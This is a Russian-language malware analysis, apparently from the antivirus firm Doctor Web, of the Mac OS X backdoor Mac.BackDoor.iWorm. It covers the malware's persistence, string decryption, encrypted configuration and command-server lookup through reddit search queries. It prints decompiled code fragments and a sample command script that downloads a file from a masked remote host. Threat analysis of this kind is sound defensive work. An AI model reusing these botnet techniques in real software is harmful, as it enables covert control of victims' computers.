Mac.BackDoor.iWorm — подробности об угрозе
Специалисты компании «Доктор Веб» исследовали сложную троянскую программу Mac.BackDoor.iWorm, угрожающую компьютерам, работающим под управлением операционной системы Mac OS X. По данным на 29 сентября 2014 года в бот-сети, созданной злоумышленниками с использованием этого троянца, насчитывалось 18 519 уникальных IP-адресов инфицированных компьютеров.
Бэкдор распаковывается в папку /Library/Application Support/JavaW. С помощью специально сформированного файла plist он устанавливается в автозагрузку через /Library/LaunchDaemons/ под видом приложения com.JavaW.
В процессе своей работы Mac.BackDoor.iWorm активно использует криптографию. После запуска троянец инициализирует контекст (который будет использован далее для криптографии) и по нулевому смещению записывает два байта, которые являются ключом для последующей дешифровки строк. Строки дешифруются с использованием следующего алгоритма:
void DecryptStrings(unsigned __int8* Data, size_t size)
{
for(int i = 0; i < size; i++)
{
if (Data[i])
{
Data[i] -= 'Z';
Data[i] ^= 'M';
}
}
}
Затем троянец пытается получить содержимое директории /Library: в случае успеха он перебирает все вложенные папки и считает для их имен значения MD5. Полученные значения MD5 нужны для обнаружения установленного ПО, с которыми бэкдор не будет в дальнейшем взаимодействовать. Обнаружение происходит следующим образом:
find_banned_dir:
challenge[5] = 0;
challenge[4] = 0;
challenge[0] = 0x67452301;
challenge[1] = 0xEFCDAB89;
challenge[2] = 0x98BADCFE;
challenge[3] = 0x10325476;
szDir = (const char *)&dir-&qt;d_seekoff;
szDir_len = strlen(szDir);
MD5_Update(szDir, challenge, szDir_len);
MD5_Final((char *)&MD5OfDir, challenge);
z = 0;
do
{
if ( z &qt; 2 )
{
dir = readdir(hLib);
if ( !dir )
goto banned_dir_not_found;
goto find_banned_dir;
}
BannedFoldersMD5 = pBannedFoldersMD5[z++];
}
while ( MD5OfDir != _byteswap_ulong(BannedFoldersMD5) );
Если «нежелательные» директории обнаружить не удается, бот последовательно вызывает функции getuid и gepwuid для получения имени папки пользователя, под учетной записью которого он был запущен, и проверяет наличие в ней конфигурационного файла %pw_dir%/.JavaW, который создается при первом запуске бэкдора. Также при первом запуске генерируется номер порта (при последующих запусках троянец получает порт из конфигурационного файла):
r1 = TwisterGenRnd();; //получение случайного числа
r2 = 0xFFFF0400 * (random_value / 0xFC00);
port = (WORD)(r1 + r2 + 1024);
Затем из полученного значения порта формируется структура backdoor_param, которая после шифрования будет записана в конфигурационный файл. Каждая запись в конфигурационном файле имеет следующий вид:
struct backdoor_param
{
char szParam[];
char szValue[];
};
Сформированная из значений %param_name% и %param_value% структура шифруется с использованием алгоритма AES-256. Зашифрованная структура записывается в конфигурационный файл. Далее бэкдор запускает три потока со следующим функциональным назначением:
- открывает порт и ждет входящего соединения;
- делает запрос к сайту и получает адреса управляющих серверов;
- устанавливает соединение с управляющими серверами и получает от них команды.
Для получения адресов управляющих серверов Mac.BackDoor.iWorm определяет текущую дату и вычисляет ее значение в днях по формуле:
time_t timee;
struct tm *tm;
time(&timee);
tm = gmtime(&timee);
dwDays = tm->tm_yday + 365 * tm->tm_year;
От полученного значения троянец вычисляет хэш-функцию MD5 и отправляет на сайт reddit.com поисковый запрос следующего вида:
https://www.reddit.com/search?q=<MD5_hash_first8>
где MD5_hash_first8 — значения первых 8 байт хэш-функции MD5 от текущей даты. По результатам поиска reddit.com отдает веб-страницу со списком управляющих серверов ботнета и портов, которые злоумышленники публикуют в виде комментариев к теме minecraftserverlists от имени пользователя vtnhiaovyd. Получение списка управляющих адресов повторяется с интервалом в 5 минут.
Для своей дальнейшей работы троянец выбирает управляющий сервер по следующему алгоритму:
rnd = TwisterGenRnd(); //получение случайного числа
szIP = GetAddressByIndex(pCSrvList, rnd % (pSrvList_size >> 2) % (pSrvList_size >> 2));
Фактически, бот пытается установить соединение с командными серверами, перебирая в случайном порядке первые 29 адресов из полученного списка и отправляя запросы на каждый из них. После установки соединения Mac.BackDoor.iWorm проверяет, не находится ли данный сайт в списке исключений:
i = 0;
while ( 1 )
{
pthread_mutex_lock(&pMutex_0);
BanListSize = (pBanListEnd - pBanListBeg) >> 2;
pthread_mutex_unlock(&pMutex_0);
if ( i >= BanListSize )
break;
pszBannedIP = GetAddressByIndex(pCBanList, i++);
if ( CompareAddresses(pszBannedIP, szIP) )
{
pthread_mutex_unlock(&pMutex_0);
shutdown(this->socket, SHUT_WR);
goto func_exit;
}
}
Установив соединение с управляющим сервером, бэкдор обменивается с ним специальным набором данных, по которым с использованием ряда сложных математических преобразований проверяется подлинность удаленного узла. Если проверка прошла успешно, бот отправляет на удаленный сервер номер открытого на инфицированном компьютере порта и свой уникальный идентификатор, ожидая в ответ поступления управляющих команд. Отправляемые данные шифруются по алгоритму AES-256 и передаются пакетами следующим способом:
void SendPacket(char packet_signature, struct st_node *pNode, unsigned __int16 packet_size, char *pPacketData)
{
WORD ps = 0;
SendData(&packet_signature, pNode->pCSocket, 1u);
ps = BYTE(packet_size) << 8;
SendData((char *)&ps, pNode_->pCSocket, 2u);
SendData(pPacketData, pNode_->pCSocket, packet_size);
}
Для обработки поступающих от управляющего сервера команд в бэкдоре реализована поддержка Lua. В зависимости от типа полученных данных бот может выполнять либо отдельные команды, либо Lua-скрипты. Пример такого Lua-скрипта представлен ниже:
if platform() == "OSX" and get("d") ~= "3" then
httpgeted("https://*****.files.wordpress.com/2014/08/01.jpg")
set("d", "3");
Набор базовых команд бэкдора для Lua-скриптов позволяет выполнять следующие операции:
- получение типа ОС;
- получение версии бота;
- получение UID бота;
- получение значения параметра из конфигурационного файла;
- установка значения параметра в конфигурационном файле;
- очистка конфигурационных данных от всех параметров;
- получение времени работы бота (uptime);
- отправка GET-запроса;
- скачивание файла;
- открытие сокета для входящего соединения с последующим выполнением приходящих команд;
- выполнение системной команды;
- выполнение паузы (sleep);
- добавление нода по IP в список «забаненных» узлов;
- очистка списка «забаненных» нодов;
- получение списка нодов;
- получение IP-адреса нода;
- получение типа нода;
- получение порта нода;
- выполнение вложенного Lua-скрипта.
На текущий момент можно говорить о наличии следующих функций (не считая функционал Lua-скриптов):
- отправка UID;
- отправка номера открытого порта;
- добавление в свой список нодов новых ботов (как подключившихся, так и пришедших в команде);
- ретрансляция трафика (принимаемые данные по одному сокету без изменений передаются на другой);
- подключение к хосту, указанному в пришедшей команде;
- выполнение Lua-скриптов.